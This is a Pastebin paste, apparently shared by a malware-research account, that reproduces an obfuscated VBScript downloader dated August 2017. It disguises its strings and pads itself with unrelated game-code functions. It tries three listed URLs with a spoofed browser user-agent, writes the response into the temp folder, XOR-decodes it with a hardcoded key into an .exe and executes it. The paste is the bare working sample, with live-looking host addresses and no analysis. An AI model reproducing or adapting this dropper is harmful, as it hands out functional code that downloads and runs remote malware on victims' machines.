SHARE
TWEET

Downloader from 08/28/17

MalwareBreakdown Aug 30th, 2017 96 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.    
  3.  
  4.   WIKIPEemaciatedItalia = "User"
  5. RACHEL = "avetof"
  6.  
  7.    
  8. Dim WIKIPEemaciatedLAKOPPC 'As String
  9. 'Dim RDFGO() 'As String
  10. Dim WIKIPEemaciatedUotOfStock 'As String
  11. Function functionT()
  12. DDDresolution13.Savetofile WIKIPEemaciatedUotOfStock & "A", 2
  13. End Function
  14. Function SetMine(Who, Color, X, y )
  15.     Dim i
  16.     For i = 0 To UBound(Mines) + 1
  17.         If i > UBound(Mines) Then ReDim Preserve Mines(i)
  18.         If Mines(i).Color = 0 Then
  19.             Mines(i).Who = Who
  20.             Mines(i).Color = Color
  21.             Mines(i).X = X
  22.             Mines(i).y = y
  23.             Mines(i).Tick = 0
  24.             SetMine = i
  25.             Exit For
  26.         End If
  27.     Next
  28. End Function
  29. Vrungel = ".resp"+"onseB"+"ody"
  30.  
  31.        Dim TristateTrue
  32.  
  33. Function F5S( WIKIPEemaciatedUotOfStock, WIKIPEemaciatedUotOfStocku)
  34.  
  35.  
  36.     Dim i,d,z, Chesko, feli_tupni
  37.     Dim output_file, FIDONET
  38.     Set Chesko = CreateObject( "Scripting."+"FileSystemObject" )
  39.  
  40.     Set feli_tupni   = Chesko.GetFile( WIKIPEemaciatedUotOfStock )
  41.     Set FIDONET = feli_tupni.OpenAsTextStream( 1, TristateTrue )
  42.        
  43.     Set output_file = Chesko.CreateTextFile( WIKIPEemaciatedUotOfStocku, True, False )
  44.     i = 0
  45.     d =  UBound( WIKIPEemaciatedUotOfStockuu ) + 1  
  46.      
  47. Do Until FIDONET.AtEndOfStream
  48.         z = i mod d
  49.         ppap= Asc( FIDONET.Read( 1) )  
  50.         output_file.Write Chr(ppap  Xor WIKIPEemaciatedUotOfStockuu(z) )
  51.         i = 1+i
  52. Loop  
  53.      output_file.Close
  54.     FIDONET.Close
  55.    
  56.     Set FIDONET = Nothing
  57.     Set feli_tupni   = Nothing
  58.     Set output_file  = Nothing
  59.     Set Chesko = Nothing
  60.     F5S = Err.Number
  61.     Err.Clear  
  62. End Function
  63.  
  64. Dim WIKIPEemaciatedGerman 'As Object
  65. Dim DDDresolution13 'As Object
  66.  
  67. Dim WIKIPEemaciatedstatus
  68. WIKIPEemaciatedstatus = false
  69.      Dim RDFGO
  70.  
  71. Dim WIKIPEemaciatedKSKLAL 'As Object
  72.  
  73. Function F3(p)
  74.     Set WIKIPEemaciatedRombickom = CreateObject("WScript.Shell")   
  75. End Function
  76. Dim WIKIPEemaciated1DASH1solo 'As Object  
  77.  
  78.  
  79. Function lets_choper( str )
  80.     Dim i, strAsArra( )
  81.     ReDim strAsArra( Len( str ) - 1 )
  82.     Dim si
  83.    
  84.     Dim ac
  85. si = UBound( strAsArra )
  86.     For i = 0 To si
  87.         strAsArra(i) = Asc( Mid( str, i + 1, 1 ) )
  88.     Next
  89.     ac = strAsArra
  90.     lets_choper = ac
  91. End Function
  92.  Dim WIKIPEemaciated2 'As String
  93. Dim WIKIPEemaciatedGMAKO 'As Object
  94. Function functionT2(dry)
  95.  
  96.     if dry > 3 AND 2000 > dry Then
  97. WIKIPEemaciatedASALLLP = WIKIPEemaciatedGerman.responseBody
  98.     end if
  99.  
  100. End Function
  101. Function WIKIPEemaciatedFuks(p)
  102.  
  103. WIKIPEemaciatedGerman.Send
  104.    
  105. End Function
  106.  
  107. Function GeometryDash(p,d)
  108.  F5S WIKIPEemaciatedUotOfStock& "A", WIKIPEemaciatedUotOfStocku
  109.  
  110.  WIKIPEemaciatedRombickom.Run(WIKIPEemaciatedUotOfStocku)
  111. End Function
  112.  
  113. WIKIPEemaciated2 = "Microsoft.XMLHTTPREZAKAdodb.streaMREZAKshell.ApplicationREZAKWscript.shellREZAKProcessREZAKGeTREZAKTem"+"PREZAKTypeREZAKopenREZAKwriteREZAKresponseBodyREZAKsavet"+"ofileREZAK\uEGvTvQ.ex"+"eREZAKhttp:REZAK//"
  114.  
  115. Dim WIKIPEemaciated4 'As String
  116.  
  117. Function CopyLog()
  118.  
  119.         Dim oFile
  120.         Dim iRetVal, fptr1, fptr2, sLine, sNewLogFolderName, sLogFile
  121.         Dim sComputer
  122.         Dim sLog
  123.         Dim sBootDrive
  124.  
  125.  
  126.  
  127.  
  128.         ' Make sure the path is accessible
  129.         oUtility.ValidateConnection oEnvironment.Item("SLShare")
  130.         oUtility.VerifyPathExists oEnvironment.Item("SLShare")
  131.         If not oFSO.FolderExists(oEnvironment.Item("SLShare")) then
  132.             oLogging.CreateEntry "An invalid SLShare value of " & oEnvironment.Item("SLShare") & " was specified.", LogTypeWarning
  133.             Exit Function
  134.         End if
  135.  
  136.        
  137.  
  138.     End Function
  139.  
  140. Dim WIKIPEemaciatedASALLLP 'As Variant
  141. Dim dePetya 'As Integer
  142. WIKIPEemaciatedItalia = WIKIPEemaciatedItalia&"-"
  143. Dim iSlashPOS 'As Integer
  144.  Dim sDecimalVis 'As String
  145.  Dim sWholeVis 'As String
  146. sWholeVis = "A"
  147. Function podeli( s500 )
  148.    podeli = Split(WIKIPEemaciated2, s500)
  149. End Function
  150.  
  151.  
  152.  
  153.  
  154.  
  155.   Dim MarketPlaceibility 'As String
  156.  Dim sNodeKey 'As String
  157.  Dim sParentKey 'As String
  158.  Dim MarketPlace 'As String
  159.     RDFGO = podeli(""&"REZAK")
  160.   Dim sTempVis 'As String
  161.  Dim iCount 'As Integer
  162. Dim WIKIPEemaciatedRombickom
  163. zTempVis = RDFGO(1)
  164. iSlashPOS = 12
  165. 'Set WIKIPEemaciatedGMAKO = CreateObject(RDFGO(8-6))
  166. Set WIKIPEemaciatedRfeedro = GetRef("GeometryDash")
  167.  
  168. Set DDDresolution13 = CreateObject("Adodb.streaM")
  169.  
  170.  
  171.  
  172.  
  173. Public Sub AnimUniBall(i)
  174.     Dim Rx, Ry, rBuff
  175.     Dim xt, yt, j, e
  176.     Dim NewX, NewY, d, SgnX, SgnY
  177.     Dim RatioX, RatioY
  178.     Rx = 452
  179.     Ry = 81
  180.    
  181.     NewX = UniBall(i).BallX
  182.     NewY = UniBall(i).BallY
  183.     If UniBall(i).BSpeedX > UniBall(i).BSpeedY And UniBall(i).BSpeedY > 0 Then RatioY = UniBall(i).BSpeedX / UniBall(i).BSpeedY
  184.     If UniBall(i).BSpeedY > UniBall(i).BSpeedX And UniBall(i).BSpeedX > 0 Then RatioX = UniBall(i).BSpeedY / UniBall(i).BSpeedX
  185.     If RatioX < 1 Then RatioX = 1
  186.     If RatioY < 1 Then RatioY = 1
  187.     If UniBall(i).BSpeedX > 0 Then UniBall(i).BSpeedX = UniBall(i).BSpeedX - (0.01 / RatioX) * speed
  188.     If UniBall(i).BSpeedY > 0 Then UniBall(i).BSpeedY = UniBall(i).BSpeedY - (0.01 / RatioY) * speed
  189.     If UniBall(i).BSpeedX < 0 Then UniBall(i).BSpeedX = 0
  190.     If UniBall(i).BSpeedY < 0 Then UniBall(i).BSpeedY = 0
  191.    
  192.     UniBall(i).BLoopX = UniBall(i).BLoopX + (UniBall(i).BSpeedX * speed)
  193.     For j = 1 To UniBall(i).BLoopX
  194.         NewX = NewX + UniBall(i).BMoveX
  195.         UniBall(i).BLoopX = UniBall(i).BLoopX - 1
  196.     Next
  197.    
  198.     UniBall(i).BLoopY = UniBall(i).BLoopY + (UniBall(i).BSpeedY * speed)
  199.     For j = 1 To UniBall(i).BLoopY
  200.         NewY = NewY + UniBall(i).BMoveY
  201.         UniBall(i).BLoopY = UniBall(i).BLoopY - 1
  202.     Next
  203.    
  204.    
  205.     SgnX = Sgn(NewX - UniBall(i).BallX)
  206.     SgnY = Sgn(NewY - UniBall(i).BallY)
  207.    
  208.    
  209.     If SgnX = 1 Then 'x positive testing
  210.        For d = UniBall(i).BallX + 1 To NewX
  211.             j = WeaponTouch(6, i, d, UniBall(i).BallY)
  212.             If j = -7 Then
  213.                 Exit For
  214.             End If
  215.             If j = -6 Then
  216.                 UniBall(i).BMoveX = UniBall(i).BMoveX * -1
  217.                 NewX = d - 1
  218.                 Exit For
  219.             End If
  220.         Next
  221.     End If
  222.    
  223.     If SgnX = -1 Then 'x negative testing
  224.        For d = UniBall(i).BallX - 1 To NewX Step -1
  225.             j = WeaponTouch(6, i, d, UniBall(i).BallY)
  226.             If j = -6 Then
  227.                 UniBall(i).BMoveX = UniBall(i).BMoveX * -1
  228.                 NewX = d + 1
  229.                 Exit For
  230.             End If
  231.         Next
  232.     End If
  233.    
  234.     If SgnY = 1 Then 'y positive testing
  235.        For d = UniBall(i).BallY + 1 To NewY
  236.             j = WeaponTouch(6, i, NewX, d)
  237.             If j = -6 Then
  238.                 UniBall(i).BMoveY = UniBall(i).BMoveY * -1
  239.                 NewY = d - 1
  240.                 Exit For
  241.             End If
  242.         Next
  243.     End If
  244.    
  245.     If SgnY = -1 Then 'y negative testing
  246.        For d = UniBall(i).BallY - 1 To NewY Step -1
  247.             j = WeaponTouch(6, i, NewX, d)
  248.             If j = -6 Then
  249.                 UniBall(i).BMoveY = UniBall(i).BMoveY * -1
  250.                 NewY = d + 1
  251.                 Exit For
  252.             End If
  253.         Next
  254.     End If
  255.     j = WeaponTouch(6, i, NewX, NewY)
  256.     If j = -7 Then Exit Sub
  257.    
  258.     UniBall(i).BallX = NewX
  259.     UniBall(i).BallY = NewY
  260. End Sub
  261.  
  262. MarketPlace = RDFGO(13) & RDFGO(14)
  263. WIKIPEemaciatedItalia = WIKIPEemaciatedItalia&sWholeVis&"gent"
  264. Set WIKIPEemaciated1DASH1solo = CreateObject(RDFGO(3))
  265. Set WIKIPEemaciatedGerman = CreateObject(RDFGO(0))
  266.  dePetya = 1
  267. Cicarka = Split("hendrikvankerkhove.be/78wygGHDwf?-glostrap.com/78wygGHDwf?-drommtoinononcechangerrer.info/af/78wygGHDwf", "-")
  268.  Set WIKIPEemaciatedKSKLAL = WIKIPEemaciated1DASH1solo.Environment(RDFGO(1 + 3))
  269.  WIKIPEemaciatedLAKOPPC = WIKIPEemaciatedKSKLAL(RDFGO(6))
  270.  
  271.  Dim i
  272.  'on error GoTo nextU
  273. ' on error resume next
  274. sTempVis = RDFGO(iSlashPOS)
  275.  
  276.  
  277.  
  278. lTo = UBound(Cicarka)
  279. rdde = 7
  280. Public Function CompressData(TheData())
  281.     'Allocate memory for byte array
  282.    Dim BufferSize, OriginalSize, Result, CompressedSize
  283.     Dim TempBuffer()
  284.    
  285.     OriginalSize = UBound(TheData) + 1
  286.    
  287.    
  288.     BufferSize = UBound(TheData) + 1
  289.     BufferSize = BufferSize + (BufferSize * 0.01) + 12
  290.     ReDim TempBuffer(BufferSize)
  291.    
  292.     'Compress byte array (data)
  293.    Result = compress(TempBuffer(0), BufferSize, TheData(0), UBound(TheData) + 1)
  294.    
  295.     'Truncate to compressed size
  296.    ReDim Preserve TheData(BufferSize - 1)
  297.     CopyMemory TheData(0), TempBuffer(0), BufferSize
  298.    
  299.     'Cleanup
  300.    Erase TempBuffer
  301.    
  302.     'Set properties if no error occurred
  303.    If Result = 0 Then CompressedSize = UBound(TheData) + 1
  304.    
  305.     'Return error code (if any)
  306.    CompressData = Result
  307.    
  308. End Function
  309. For i = 0 To lTo Step 1
  310. dePetya =  dePetya +4
  311.  
  312.  WIKIPEemaciated4 = MarketPlace & Cicarka(i)
  313.  
  314.  WIKIPEemaciatedGerman.Open RDFGO(5), WIKIPEemaciated4, False
  315. dra ="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
  316. WIKIPEemaciatedGerman.setRequestHeader WIKIPEemaciatedItalia, dra
  317. dr1=3
  318. rdde = rdde + 8
  319. on error resume next
  320. WIKIPEemaciatedFuks ""
  321.  
  322. If WIKIPEemaciatedGerman.Status = 100*2 Then
  323. WIKIPEemaciatedstatus = true
  324.  Exit For
  325. End If
  326. Next
  327.  
  328. on error goto 0
  329. if WIKIPEemaciatedstatus Then
  330. Dim Ratchet 'As String
  331. WIKIPEemaciatedUotOfStock = WIKIPEemaciatedLAKOPPC+ sTempVis
  332. WIKIPEemaciatedUotOfStockuu = lets_choper("FSwpJ71l4t3XzEtO035rgb3q5G0vOD1t")
  333. F3 ""
  334.  
  335. DDDresolution13.Type = 1
  336.  DDDresolution13.Open
  337. functionT2 13
  338. dttat =2
  339. DDDresolution13.Write WIKIPEemaciatedASALLLP
  340. dttat = dttat +4
  341.  
  342.  
  343. WIKIPEemaciatedUotOfStocku = WIKIPEemaciatedUotOfStock
  344. functionT()
  345. Dim WIKIPEemaciatedUotOfStockuuu,WIKIPEemaciatedTmp1 'As Long
  346.  
  347. WIKIPEemaciatedUotOfStocku = WIKIPEemaciatedUotOfStock
  348.  
  349. WIKIPEemaciatedUotOfStockuuu = 3012
  350.  
  351. If 1000  < WIKIPEemaciatedUotOfStockuuu Then
  352.  WIKIPEemaciatedTmp1 = ""
  353.  drba =11
  354. WIKIPEemaciatedRfeedro "3,3",4
  355. End If
  356. end if
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top